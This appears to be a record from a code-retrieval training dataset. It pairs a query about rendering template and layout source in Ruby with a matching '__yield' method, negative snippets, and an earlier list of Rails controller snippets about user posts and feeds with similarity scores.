"def show\n @user = User.find(params[:id])\n @questions = []\n @answers = []\n # if current_user is viewing his or her profile\n # show all questions and answers regardless of\n # anonymity. Otherwise only fetch public posts\n if current_user.id == @user.id\n @questions = current_user.questions\n @user.answers.each do |ans|\n @answers << Question.find(ans.question_id)\n end\n else\n @questions = @user.questions.where(:is_anon => false)\n @user.answers.each do |ans|\n q = Question.find(ans.question_id)\n if !ans.is_anon?\n @answers << q\n end\n end\n end\n\n @follows = []\n user_follows = Follow.where(:user_id => @user.id)\n user_follows.each do |fol|\n if Question.exists?(fol.question_id)\n @follows << Question.find(fol.question_id)\n end\n end\n end",
"def find_own_post\n\t\t@post = current_user.posts.find(params[:id])\n\tend",
"def show\n @user = User.find(params[:id])\n @posts = Post.where(user: @user)\n @post = current_user.posts.new if @user == current_user\n @comment = Comment.new\n end",
"def index\n posted_user_ids = User.has_posted.pluck(:id)\n @posts = Post.includes(:book, :user).where(user_id: posted_user_ids)\n end",
"def show\n if Post.shared_post_exist?(@resource.url)\n @shared_users = Post.shared_post_users(@resource.url, current_user.id)\n end\n end",
"def show\n @userposts = @user.userposts.paginate(page: params[:page])\n @games = @user.games\n @feed_items = @user.userposts.paginate(page: params[:page])\n @leagues = @user.leagues\n end",
"def relevant_posts\n\t\tfollowed_posts = Post.followed(@user)\n\t\ttagged_posts = Post.tagged_by_user(@user)\n\t\tfollowed_posts | tagged_posts\n\tend",
"def index\n\t\t@user = User.find_by_id(session[:user_id])\n\t\t@post = @user.posts.last\n\t\t@posts = @user.posts.all()\n\tend",
"def show\n \n # Pass through the specified user, making sure that it exists\n if !@user = User.find_by_login(params[:user_login])\n raise ActiveRecord::RecordNotFound\n end\n \n # Pass through all posts by the specified user, except for empty ones\n @posts = Post.paginate(:page => params[:page], \n :conditions => empty_post_filter + \" and user_id = #{@user.id}\",\n :order => 'created_at DESC', :per_page => 5)\n end",
"def post\n array = []\n Post.post.each do |element|\n if element.user_id == self.user_id\n array << element\n end\n end\n array.each do |post|\n puts post.title\n end\n end",
"def showPosts\n @user = User.find_by_id(params[:id])\n respond_to do |format|\n format.html{render action: \"show\"}\n end\n end",
"def index\n @posts = Post.post_for_user(current_user).order_post.paginate(page:params[:page],per_page:10).relationships_posts\n end",
"def user_posts\n @user = User.find_by_id(params[:id])\n #check if the user exists! If they don't redirect to the last page\n if @user\n #posts sorted by date descending\n @posts = @user.posts.sort { |p1, p2| p2.created_at <=> p1.created_at}\n else\n redirect_to(session[:last_page]) unless @user\n end\n end",
"def index\n @posts = Post.where(user_id: current_user.id).order(created_at: 'desc')\n @otherposts = Post.where.not(user_id: current_user.id).order(created_at: 'desc')\n end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def show \n @user = User.find(params[:id])\n @posts = @user.posts.reverse\n @likes = @user.posts.map{ |post| post.likes}.flatten.count\n @post_count = @user.posts.count\n @location_count = @user.posts.map{ |post| post.location}.uniq.count\n @city_count = @user.posts.map{ |post| post.location.city}.uniq.count\n end",
"def visible_posts_for(user, args = {})\n search_conditions = {\n where: {\n friends_only: false,\n user_id: self.id\n },\n page: args[:page],\n per_page: 20,\n include: [:user, :attachments, comments: [:attachments]],\n order: {created_at: :desc}\n }\n user = User.find(user) if user.is_a?(String) or user.is_a?(Fixnum)\n if args[:latest_post_id]\n search_conditions[:where].merge!({ record_id: {gt: args[:latest_post_id] }})\n end\n if (user and self.friends_with?(user)) or user == self\n search_conditions[:where].delete(:friends_only)\n end\n Post.search(search_conditions).results\n end",
"def index\n @from_user = User.find(params[:user_id])\n @published = @from_user.discussions.published\n if @user.owns? @from_user\n @unpublished = @from_user.discussions.unpublished\n end\n end",
"def get_current_user_posts_by_following\n\t\tcurrent_user.following.collect do |followed|\n\t\t\tfollowed.get_user_posts\n\t\tend\n end",
"def index\n return unless current_user\n\n @posts = Post.from_users_followed_by(current_user)\n .paginate(page: params[:page], per_page: 20)\n .order('created_at DESC')\n end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def feed\n\t\t# This is preliminary. See \"Following users\" for the full implementation.\n\t\t#Micropost.where(\"user_id = ?\", id) # \"?\" ensures variable 'id' is properly escaped\n\t\t\t\t\t\t\t# before being used in SQL query\n\t\t\t\t\t\t\t# same as 'microposts' - which references all microposts of the user\n\t\t\t\t\t\t\t# But eventually want not just this user's microposts -- but the\n\t\t\t\t\t\t\t# microposts of the folks he's following\n\t\t\t\t\t\t\t# Otherwise user.microposts would've been fine, rather we want user.feed\n\t\t# rather than show posts by user, show posts by users the user follows\n\t\tMicropost.from_users_followed_by(self) \n\tend",
"def index\n @admin_user_posts = AdminUserPost.all\n end",
"def show_other_user\n @title = 'Microposts'\n @user = User.find(params[:id])\n @microposts = @user.feed.page(params[:current_page]).per(5)\n @new_post = Micropost.new if @new_post.nil?\n render 'microposts/show'\n end",
"def index\n if current_user\n if !Post.where(only_followers: true)[0].nil? && !FollowerFollowed.where(follower_id: current_user.id)[0].nil?\n # This one is a doosie. It sorta starts in the middle and spirals out. What we're trying to find here is all the public non-\"Only Followers\" posts as well as the posts that this user can see because they follow a user who has \"Only Followers\" posts.\n\n # So first we find the FollowerFollowed models that have the current_user's id in the follower_id column.\n # Then we pluck all the `followed_id`'s out, since those are the id's of the users this current_user is following.\n # These ids are used to find Posts, but only posts with the matching followed_id's that ALSO have `only_followers`set to true (although, I maybe don't need them to be the only the ones that are marked true come to think of it. More testing is needed there).\n # Before ordering anything, we want to make sure that we still have all the public posts, so there's an `.or()` at the end getting all public ones.\n # Lastly, we order them in descending order so the newest ones come up first.\n @posts = Post.where(user_id:\n FollowerFollowed.where(follower_id:\n current_user.id).pluck(:followed_id)).or(\n Post.where(only_followers: false)\n ).order(id: :desc)\n else\n @posts = Post.where(only_followers: false).order(id: :desc)\n end\n else\n @posts = Post.where(only_followers: false).order(id: :desc)\n end\n @users = User.where(id: @posts.pluck(:user_id)) if @posts != []\n @likes = UserLike.where(post_id: @posts.pluck(:id)) if @posts != []\n end",
"def index\n @posts = Post.page(params[:page]).order('created_at desc')\n users = User.where 'account_id == ?', current_account.id\n if users[0] == nil then\n user = User.new\n user.account_id = current_account.id\n user.sitename = '<< no name >>'\n user.save\n users = User.where 'account_id == ?', current_account.id\n end\n @user = users[0]\n @post = Post.new\n @post.user_id = @user.id\n #@like = current_user.likes.find_by(post_id: @post.id) if user_signed_in?\n @like = current_account.likes.find_by(post_id: @post.id)\n @likes_count = Like.where(post_id: @post.id).count\n end",
"def show\n @post = Post.find(params[:id])\n @user = current_user\n end",
"def show\n @user = User.find(params[:id])\n @post_count = Post.where(:user_id => @user.id).count\n @vote_count = Vote.where(:user_id => @user.id).count\n @vote_for_your_posts_count = Post.where(:user_id => @user.id).joins(:votes).count\n\n if !is_admin?\n if !(@user == @current_user)\n redirect_to @current_user\n return\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def posts\n backend.wall_page(self).posts\n end",
"def posts()\r\n db = connect()\r\n result = db.execute(\"SELECT users.userid, users.firstname, users.lastname, users.username, users.email, users.phone, posts.title, posts.text, posts.postid FROM users INNER JOIN posts ON users.userid=posts.userid\")\r\n return result\r\n end",
"def index\n @post = current_user.posts.build\n @posts = current_user.timeline.paginate(page: params[:page])\n end",
"def current_posts\n if view_status != 3\n posts\n else\n posts.not_termins\n end\n end",
"def index\n @user_post_likes = UserPostLike.all\n end",
"def index\n return @posts = Post.published.paginate(:page => params[:page]).order('id DESC') unless current_user\n @posts = Post.all.paginate(:page => params[:page]).order('id DESC')\n end",
"def viewUsersByPosts\n @results = Array.new\n @results = Post.find_by_sql('SELECT username, COUNT(user_id) FROM users INNER JOIN posts ON users.id = posts.user_id GROUP BY users.id ORDER BY COUNT(user_id) DESC') #query for getting the number of posts per user\n end",
"def feed\n Post.from_users_followed_by(self)\n end",
"def feed\n Post.from_users_followed_by(self)\n end",
"def get_user_posts_by_following\n self.following.collect do |followed|\n followed.get_user_posts\n end\n end",
"def followed_posts\n self.followed_users.includes(:posts).order(\"updated_at desc\").collect{|u| u.posts}.flatten \n end",
"def get_posts_for_user filter, page, per_page, user_id, status, open\n if filter == \"open\"\n @posts = Post.paginate(page: page, :per_page => per_page, :conditions => ['user_id = ? AND status = ? AND open = ?', user_id, status, open])\n elsif filter == \"watched\"\n @posts = []\n Watchedpost.find_each(:conditions => ['user_id = ?', user_id], :select => 'post_id') do |watched_post|\n @posts << Post.first(:conditions => ['id = ?', watched_post.post_id])\n end\n @posts = @posts.paginate(:page => params[:page], :per_page => 20)\n elsif filter == \"archived\"\n @posts = Post.paginate(page: params[:page], :per_page => 20, :conditions => ['user_id = ? AND status = ? AND open = ?', user_id, STATUS_ACTIVE, false]) \n else\n\n end\n end",
"def all_following_posts\n render :json => User.find(params[:user_id]).following_posts\n end",
"def user_posts(id, opts)\n response = get(\"users/#{id}/posts\", opts)\n response\n end",
"def home\n @post = Post.new\n @posts = current_user.get_all_posts.paginate(page: params[:page], per_page: 3)\n @users = User.follower_list(current_user) - current_user.following_list\n end",
"def get_user_posts_by_following\n\t\tself.following.collect do |followed|\n\t\t\tfollowed.get_user_posts\n\t\tend\n end",
"def index\n @user = User.find(params[:user_id])\n @posts = Post.feed_items(@user)\n @post = Post.new\n end",
"def show\n @user = User.find(params[:id])\n @last_private_post = Post.find_by_receiver_id(current_user)\n @last_post = Post.find_by_class_room_id(current_user.class_room);\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user }\n end\n end"
] |
[
"0.7414282",
"0.7255786",
"0.7152099",
"0.71372736",
"0.7128897",
"0.7039018",
"0.7018779",
"0.7005493",
"0.6994838",
"0.69933796",
"0.6965921",
"0.69111955",
"0.6909592",
"0.6772232",
"0.6683668",
"0.66655874",
"0.6661107",
"0.6657836",
"0.66571105",
"0.6656415",
"0.66316944",
"0.66203487",
"0.66076744",
"0.6606304",
"0.65912634",
"0.6576499",
"0.65556943",
"0.6532653",
"0.65309435",
"0.6526359",
"0.65177333",
"0.6513586",
"0.65072006",
"0.650502",
"0.6492462",
"0.64790785",
"0.64768595",
"0.64650035",
"0.64451325",
"0.64423144",
"0.64329994",
"0.6423339",
"0.6410995",
"0.6376011",
"0.6372867",
"0.63664824",
"0.63655275",
"0.63583785",
"0.63583773",
"0.63535357",
"0.6336842",
"0.63331145",
"0.6323082",
"0.63215613",
"0.63131374",
"0.6298041",
"0.62851954",
"0.62676877",
"0.6245795",
"0.6245785",
"0.62328404",
"0.6229419",
"0.62187874",
"0.6215737",
"0.62132084",
"0.6194866",
"0.6161",
"0.6144599",
"0.6133811",
"0.613175",
"0.6120415",
"0.6112134",
"0.608683",
"0.6017035",
"0.59780014",
"0.5973497",
"0.5972483",
"0.59623027",
"0.59579176",
"0.5957227",
"0.5956067",
"0.5940217",
"0.59399503",
"0.59308183",
"0.5927244",
"0.59266794",
"0.591537",
"0.5902071",
"0.5900378",
"0.58988744",
"0.58988744",
"0.58959043",
"0.5884227",
"0.58832026",
"0.5880877",
"0.5880795",
"0.58754516",
"0.58616275",
"0.58589923",
"0.58569527"
] |
0.6481328
|
35
|
call this to render template source use this method in layouts to insert a layout's content source
|
def __yield
return if @_undies_source_stack.nil? || (source = @_undies_source_stack.pop).nil?
if source.file?
instance_eval(source.data, source.source, 1)
else
instance_eval(&source.data)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def main_content\n do_include(@template)\n end",
"def render_template(view, template, layout_name, locals); end",
"def render\n layout = File.read \"#{site.root}/_layouts/#{@layout}.html\"\n @output = Liquid::Template.parse(layout).render('post'=>self) \n end",
"def place_in_layouts(content, payload, info); end",
"def render(view, locals, buffer=nil, &block)\n @template.instance_variable_set(:'@source', wrapped_source)\n\n super(view, locals, buffer, &block)\n end",
"def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end",
"def inject_into_layout\n application_layout_path_prefix = 'app/views/layouts/application.html'\n\n api_key = ask 'What is your kit ID (leave blank to specify later):'\n api_key = '- YOUR KIT ID HERE -' if api_key.blank?\n\n layout_templates = { slim: { content: \" = typekit '#{api_key}'\", after: \"head\\n\" }}\n layout_templates[:erb] = { content: \" <%#{layout_templates[:slim][:content].lstrip} %>\", after: \"<head>\\n\" }\n\n layout_templates.each_pair do |lang,options|\n path = ::File.join(destination_root, \"#{application_layout_path_prefix}.#{lang}\")\n if ::File.exists?(path)\n inject_into_file path, after: options[:after] do\n \"#{options[:content]}\\n\"\n end\n end\n end\n end",
"def assemble_markup\n\n design_renderer = liquid_for(@design.markup)\n view_renderer = liquid_for(@view_template.markup)\n params = node_template_data.merge(global_template_data)\n\n # Render the view template.\n rendered_view = view_renderer.render(params, :filters => liquid_filters)\n\n # Render the design and merge in the view.\n design_renderer.render(params.merge('content' => rendered_view), :filters => liquid_filters)\n\n end",
"def render\n template_body = Tilt.new(@template).render(self)\n if @layout\n layout = Dir[File.join(File.dirname(@template), @layout) + '*'].first\n raise \"#{Guinness::EMOJI} Guinness : Unable to locate layout at: '#{@layout}'\" unless layout\n @body = Tilt.new(layout).render(self) { template_body }\n end\n @body || template_body\n end",
"def template_source\n raise NotImplementedError\n end",
"def layout_contents\n layout.render(self)\n end",
"def render_with_layout(template, locals = {}, additional_js = [], additional_css = [])\n script_tags = \"\"\n css_tags = \"\"\n additional_js.each { |fileName| script_tags << \"<script src='/js/#{fileName}'></script>\" }\n additional_css.each do |fileName|\n css_tags << \"<link rel='stylesheet' type='text/css' href='/css/#{fileName}'/>\"\n end\n erb :base, :locals => locals.merge({ :template => template, :user => @user,\n :script_tags => script_tags, :css_tags => css_tags })\n end",
"def view_template(source, *args, &block)\n config = args.last.is_a?(Hash) ? args.pop : {}\n destination = args.first || source.sub(/\\.tt$/, '')\n \n source = File.expand_path(source.to_s)\n context = instance_eval('binding')\n \n create_file destination, nil, config do\n content = ERB.new(::File.binread(source), nil, '-', '@output_buffer').result(context)\n content = block.call(content) if block\n content\n end\n end",
"def render(template_name, view_handler, locals, &content)\n self.kramdown_source.render(template_name)\n end",
"def postload\n if @current_layout && @current_layout.length > 0\n @content_for_layout = @body\n @body = \"\"\n render_rhtml(@current_layout)\n end\n end",
"def render_plain\n template_content\n end",
"def partial(template_name, locals, &content)\n self.kramdown_source.render(template_name)\n end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end",
"def template_content\n if respond_to? :contents and contents\n contents.elements.map do |item|\n if item.content.respond_to? :template\n item.content.template.renderable.template.render\n else\n ::Alongslide::render item.text_value, plain: true\n end\n end\n end\n end",
"def render_template(context, options); end",
"def render_layout(output, layout, info); end",
"def inside_layout(layout, &block)\n binding = block.binding if BINDING_REQUIRED\n\n layout = Dir.entries('app/views/layouts').detect { |a| /#{layout}/.match(a) }\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(\n @template.render(:file => \"#{RAILS_ROOT}/app/views/layouts/#{layout}\", :user_full_path => true),\n binding\n )\n end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end",
"def content_for_preview( layout_options )\r\n content = self.body.dup\r\n content.gsub!( /<%=\\s?(@[^%]+)\\s?%>/, '<code>\\1</code>' )\r\n mail = Mail.new( :token => \"\" )\r\n mail.content = Render::Base.new( content ).mail_content\r\n template = IO.read(\"#{RAILS_ROOT}/app/views/mail_tasks/mailer/this_mail.text.html.rhtml\")\r\n \r\n render = Render::Base.new( template, layout_options.merge( :mail => mail ) )\r\n render.mail_content\r\n end",
"def source_helper(layout_name)\n\t if session[:source]\n\t\t greeting = \"Thanks for visiting my #{layout_name} page from #{session[:source]}\"\n\t\t content_tag(:p, greeting, class: \"source-greeting\")\n\t\t\tend\n\t\tend",
"def layout_render(content)\n\t\t\treturn content unless @layout\n\n\t\t\tlayout_files = find_layouts(@layout)\n\t\t\treturn content if layout_files.empty?\n\n\t\t\tlayout_files.each_with_object(content.dup) do |layout_file, result|\n\t\t\t\tlayout = compile_file(layout_file)\n\t\t\t\tresult.replace layout.render(@scope, @locals) { result }\n\t\t\tend\n\t\tend",
"def _render_template(options); end",
"def _render_template(options); end",
"def render_content(format)\n begin\n ERB.new( File.open( template_path_for(format) ).read, nil, '%<>' ).result(self.get_binding)\n rescue TemplateUndefined\n ''\n end\n end",
"def use_template(klass)\n define_singleton_method(:source_location) { klass.source_location }\n end",
"def render_template(options={})\n # puts \"ActionController#render_template(start), options = #{options}\"\n #`var d = new Date(); console.log(\"time= \" + d.getSeconds() + \":\" + d.getMilliseconds());`\n #Timer.time_stamp(\"render_template (begin)\")\n content_fors = options.delete(:content_for) || {}\n partial = options[:partial]\n\n # renderer = ActionView::Renderer.new(self, path: render_path)\n # puts \"renderer = #{@renderer.inspect}\"\n if partial\n # puts \"ActionController#render_template (partial)\"\n top_view_html = @renderer.render(options)\n else\n # puts \"ActionController#render_template (file)\"\n top_view_html = @renderer.render(file: render_path, options: {locals: @__locals})\n end\n\n content_for_htmls = {}\n content_fors.each do |key, selector|\n content_for_html = @renderer.content_fors[key]\n #puts \"content for #{key} = #{content_for_html}\"\n content_for_htmls[selector] = content_for_html\n end\n #`var d = new Date(); console.log(\"time= \" + d.getSeconds() + \":\" + d.getMilliseconds());`\n [top_view_html, content_for_htmls]\n end",
"def render\n rendered_content = preprocess_template(event_template)\n .render_with(\n template_data.merge({\n event_reminder: reminder_form\n }))\n SiteTemplate.first.render_with({ content: rendered_content,\n head_assets: _head_assets,\n body_assets: script_id + _body_assets})\n end",
"def set_template\n end",
"def render(template_name, context=Context.new, layout=true)\n #context = Context.new(context) if context.is_a?(Hash)\n context = hook_context(context)\n while true\n template = get_template(template_name, context) # context is passed only for preprocessor\n _buf = context._buf\n output = template.render(context)\n context._buf = _buf\n unless context._layout.nil?\n layout = context._layout\n context._layout = nil\n end\n layout = @layout if layout == true or layout.nil?\n break unless layout\n template_name = layout\n layout = false\n context.instance_variable_set('@_content', output)\n end\n return output\n end",
"def precompiled_template(locals = {})\n @src\n end",
"def template\n @template.content\n end",
"def content\n super\n @renderer = @widget.content\n div :id => 'doc3' do\n if @renderer.render? :header\n div :id => 'hd' do\n if @renderer.render? :top_line\n render_top_line\n end\n if @renderer.render? :title\n h1 @page_title || 'Missing :page_title'\n end \n end\n end\n div :id => 'bd' do\n render_body\n end\n if @renderer.render? :footer\n div :id => 'ft' do\n render_footer\n end\n end\n end\n end",
"def precompiled_template(locals = {})\n @src\n end",
"def render\n @compiled_tests.each do |test|\n tmpl = test[:tmpl]\n assigns = test[:assigns]\n layout = test[:layout]\n\n if layout\n assigns['content_for_layout'] = tmpl.render!(assigns)\n layout.render!(assigns)\n else\n tmpl.render!(assigns)\n end\n end\n end",
"def html_contents\n layout_contents\n end",
"def rendered_templates; end",
"def render\n content\n end",
"def inside_inline_layout(template_content, &block)\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat( @template.render(:inline => template_content) )\n end",
"def build( special_contexts=[] )\r\n\r\n self.ehtmls, self.ecss, self.ejs = self.theme.original_page_layout_root.build_content(special_contexts)\r\n self.ehtml = self.ehtmls.first\r\n\r\n end",
"def initialize_template(record)\n source = record.body || \"\"\n virtual_path = \"pages/#{I18n.locale}_#{record.name}_#{record.permalink}\"\n handler = ActionView::Template.registered_template_handler('erb')\n details = {\n :format => Mime['html'],\n :updated_at => record.updated_at,\n :virtual_path => virtual_path\n }\n ActionView::Template.new(source, \"DbPageTemplate - #{virtual_path}\", handler, details)\n end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def inside_inline_layout(template_content, &block)\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(@template.render(:inline => template_content))\n end",
"def find_template(views, name, engine, &block)\n\t\t \t#normal\n\t\t super(views, name, engine, &block)\n\t\t #_layout folder\n\t\t super(Paths.layout_path, name.to_s, engine, &block)\n\t\t end",
"def preprocess_template(template)\n self._head_assets = head_assets\n self._body_assets = body_assets\n content_areas.each do |content_area|\n # only render assets once for each type\n unless _head_assets.include?(content_area.render_head)\n self._head_assets += content_area.render_head\n end\n unless _body_assets.include?(content_area.render_body)\n self._body_assets += content_area.render_body\n end\n template.template.gsub!(/\\{\\{([\\w ]*):( *)#{content_area.name} \\}\\}/, content_area.render)\n end\n template\n end",
"def layout; end",
"def prepare_render\n @content = '## Página no encontrada'\n event = Event.find(params[:event_id])\n if (event)\n pages = event.pages.select{ |page| page.path == params[:page_path]}\n unless(pages.empty?)\n @content = MarkdownEventParser.add_event_details(event, pages[0].content)\n end\n end\n @content = MARKDOWN.render(@content)\n render\n end",
"def initialize(template_text,options={})\n @renderer_extension_modules=[]\n\n @name=options[:template_name]\n @templates_root_dir= options[:templates_directory]# || \"#{::Rails.root.to_s}/app/views\"\n\n @output_buffer=\"\"\n #unique tag for escaping post and pre processing tags\n @ltag=\"!@@@##$$1212\"\n @rtag=\"!723465hjf3!@#\"\n\n @default_language=options[:default_language] || \"en\"\n\n\n @escape_tags= options[:tags_to_escape] || []\n @runtime_tags= options[:runtime_tags] || []\n\n\n #escape blocks that will be run at view time\n @template_text=template_text.clone\n @escape_tags.each do |etag|\n escape_tag_content( etag,@template_text)\n\n \n end\n\n# raise \"need templates directory\" unless options[:templates_directory]\n\n #escape all normal dynamic blocks for preprocessing\n @template_text=@template_text.gsub(\"<%\",@ltag).gsub(\"%>\",@rtag).gsub(\"<$\",\"<%\").gsub(\"$>\",\"%>\")\n \n #turn the setup block into a proc <## ##> into executable blocks\n @template_text=@template_text.gsub(\"<##\",\"<% set_setup_proc{ \").gsub(\"##>\",\"} %>\")\n\n #turn the key block into a proc <## ##> into executable blocks\n @template_text=@template_text.gsub(\"<!!KEY\",\"<% set_key_proc{ \").gsub(\"!!KEY>\",\"} %>\")\n\n\n @raw_template=compile(@template_text)\n #this hold variations of the template after it has been localized\n #into different languages, but before rendering\n @localized_templates={}\n @setup_proc=nil\n @key_proc=nil\n @render_base=options[:render_base]\n @template_name=options[:template_name]\n #this tag will be used to create non cachable dynamic blocks\n\n\n if options.has_key?(:helpers) && options[:helpers]!=nil\n options[:helpers].each do |helper|\n include helper\n end\n end\n \n end",
"def source(binding=nil) #:nodoc:\n @source ||= wrap_in_layout do\n filter @erb.result(binding)\n end\n end",
"def _render_layout_for( res )\n return unless res.layout\n lyt = Resources.layouts.find :filename => res.layout\n return if lyt.nil?\n\n _track_rendering(lyt.path) {\n @content = Filters.process(\n self, lyt, ::Webby::Resources::File.read(lyt.path))\n _render_layout_for(lyt)\n }\n end",
"def rendered_content\n ERB.new(template).result(binding)\n end",
"def render_with_layout_and_partials(format)\n # looking for system mail.\n template = MailEngine::MailTemplate.where(:path => \"#{controller_path}/#{action_name}\", :format => format, :locale => I18n.locale, :partial => false, :for_marketing => false).first\n # looking for marketing mail.\n template = MailEngine::MailTemplate.where(:path => action_name, :format => format, :locale => I18n.locale, :partial => false, :for_marketing => true).first if template.blank?\n\n # if found db template set the layout and partial for it.\n if template\n related_partial_paths = {}\n # set @footer or @header\n template.template_partials.each do |tmp|\n related_partial_paths[\"#{tmp.placeholder_name}_path\".to_sym] = tmp.partial.path\n end\n\n # set layout\n render :template => \"#{controller_path}/#{action_name}\", :layout => \"layouts/mail_engine/mail_template_layouts/#{template.layout}\", :locals => related_partial_paths\n else\n # if not found db template should render file template\n render(action_name)\n end\n end",
"def _render_one(entry)\n @entry = entry\n @filename = @entry.filename\n\n # avoid double render of layout path\n return if @entry.source_path == @layout_path\n\n # render. Result goes into @content_for_resources\n input = File.read(@entry.source_path)\n \n # render using either erb or haml\n case File.extname(@entry.source_path)\n when /\\.rhtml$/, /\\.html.erb$/\n @content_for_resources += eval(Erubis::Eruby.new.convert(input))\n when /\\.haml$/, /\\.html.haml$/\n require 'haml'\n @content_for_resources += Haml::Engine.new(input).to_html(self)\n end\n\n @filename =nil\n @entry = nil\n end",
"def prepare_liquid_template(template)\n end",
"def render(template_name)\n #Use controller and template names to construct paths to template files.\n\n\n #Use File.read to read the template file.\n\n #Create a new ERB template from the contents.\n \n #Evaluate the ERB template, using binding to capture the controller's instance variables.\n\n #Pass the result to #render_content with a content_type of text/html.\n\n \n end",
"def render(*args)\n tpls_file = (@__caller_info__ || __caller_info__).first.first\n self._template_parser.load(tpls_file).parse.each do |template_name, raw_content|\n # no controller name if absolute view path\n ctrl_name = template_name.match(/^\\//) ? nil : self.controller_name\n path = Merb.dir_for(:view) / self._template_location(template_name.gsub(/^\\//,''), nil, ctrl_name)\n file = VirtualFile.new(raw_content, path)\n TEMPLATES[path.to_s] = file\n end\n super\n end",
"def process_default_render exp\n process_layout\n process_template template_name, nil\n end",
"def render(template_name)\n controller_name = self.class.to_s.gsub(/Controller$/, '').underscore\n base_template = ERB.new File.read(\"app/views/layouts/application.html.erb\")\n page_template = ERB.new File.read(\"app/views/#{controller_name}/#{template_name}.html.erb\")\n page = page_template.result(call_binding)\n content = base_template.result(call_binding { page })\n render_content(content, \"text/html\")\n end",
"def inside_inline_layout(template_content, &block)\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(@template.render(:inline => template_content ), block.binding)\n end",
"def render\n @template.to_haml(0, @options)\n end",
"def render(template_name)\n if already_built_response? \n raise \"DoubleRenderError\"\n else \n controller_name = self.class.to_s.underscore \n dir = File.join(\"views\",controller_name, \"#{template_name}.html.erb\")\n # debugger\n content = File.read(dir).split(\"\\n\")\n content.map! do | statement | \n start_point = /<%/ =~ statement\n # debugger\n if start_point.nil? \n statement\n else \n front_part = statement[0...start_point]\n # returning = \n # start_point += statement[start_point+2] == \"=\" ? 2 : 1\n end_point = /%>/ =~ statement \n end_point += 1\n rear_part = statement[end_point+2..-1]\n front_part.to_s + ERB.new(statement[start_point..end_point]).result(binding) + rear_part.to_s\n end \n end \n render_content(content)\n end \n end",
"def process_template name, src, type, called_from = nil, file_name = nil\n case type\n when :erb\n result = ErbTemplateProcessor.new(@tracker, name, called_from, file_name).process src\n when :haml\n result = HamlTemplateProcessor.new(@tracker, name, called_from, file_name).process src\n when :erubis\n result = ErubisTemplateProcessor.new(@tracker, name, called_from, file_name).process src\n when :slim\n result = SlimTemplateProcessor.new(@tracker, name, called_from, file_name).process src\n else\n abort \"Unknown template type: #{type} (#{name})\"\n end\n\n # Each template which is rendered is stored separately\n # with a new name.\n if called_from\n name = (\"#{name}.#{called_from}\").to_sym\n end\n\n @tracker.templates[name].src = result\n @tracker.templates[name].type = type\n end",
"def render\n content\n end",
"def render\n content\n end",
"def render\n content\n end",
"def template_page(site); end",
"def raw_template=(content)\n @source ||= {}\n @source[Locomotive::Mounter.locale] = content\n end",
"def prepare(item)\n layout = item.data['layout']\n begin\n item.data['layout'] = nil\n\n if item.is_a?(Jekyll::Document)\n output = Jekyll::Renderer.new(@site, item).run\n else\n item.render({}, @site.site_payload)\n output = item.output\n end\n ensure\n # restore original layout\n #\n item.data['layout'] = layout\n end\n\n output\n end",
"def uncached_render\n before_process\n\n content = engine.transform(self)\n\n if path and tlayout = layout\n [instance, tlayout.instance].each do |i|\n i.instance_variable_set(\"@content\", content)\n end\n\n content = tlayout.render\n end\n\n content\n\n ensure\n after_process unless $!\n end",
"def mustache(template, args={}, layout=true)\n args = args.update(:site => site, :site_tags => tags, :current_user => current_user)\n layout_class = UserApp::Views::Layout\n layout_class.template = design.layout\n view_class = UserApp::Views.const_get(template.to_s.classify)\n view_class.template = design.send(template)\n view_initialized = view_class.new(args)\n view_rendered = view_initialized.render\n if layout\n if view_initialized.respond_to?(:title)\n args.update(:page_title => view_initialized.title)\n end\n layout_class.new(args).render(:yield => view_rendered)\n else\n view_rendered\n end\n end",
"def inside_inline_layout(template_content, &block)\n binding = block.binding if BINDING_REQUIRED\n\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat( @template.render( :inline => template_content ), binding )\n end",
"def process_context context\n\n # Add your own data organisation here\n\n # If you wish, you can examine context[:src_filename] to determine\n # which view you are preparing. Alternatively, you can just give\n # every view an identical context.\n\n add_content_items_to_collections context\n\n if context[:src_filename] == './src/indicator-visualisations/index.html.mustache'\n add_viz_styles context\n add_viz_scripts context\n end\n if context[:src_filename] == './src/indicator-descriptions/index.html.mustache'\n add_desc_styles context\n add_desc_scripts context\n end\n if context[:src_filename] == './src/indicator-descriptions/all/index.html.mustache'\n add_all_desc_styles context\n add_all_desc_scripts context\n end\n end",
"def build_html\n ApplicationController.render(partial: partial, locals: locals)\n end",
"def content_with_layout( layout_options )\r\n render = Render::Base.new\r\n render.mail_content_with_layout( self, layout_options )\r\n end",
"def template_source\n @template_source ||= @options[:template_content] || read_file(template_file)\n end",
"def render(template_name)\n contents = File.read(\"views/#{self.class.to_s.underscore}/#{template_name}.html.erb\")\n template = ERB.new(contents)\n # ivars = self.instance_variables\n new_content = template.result(binding)\n render_content(new_content, \"text/html\")\n end",
"def templates; end",
"def render(template_name)\n #Open template, put content into string-content\n cntrl_name = self.class.to_s.underscore\n\n erb_temp = File.read(\"views/#{cntrl_name}/#{template_name}.html.erb\")\n content = ERB.new(erb_temp).result(binding)\n\n render_content(content , 'text/html')\n end",
"def layout(name=:layout, &b)\n template(name, &b)\n end",
"def pack_template\n selfclass.pack_template\n end",
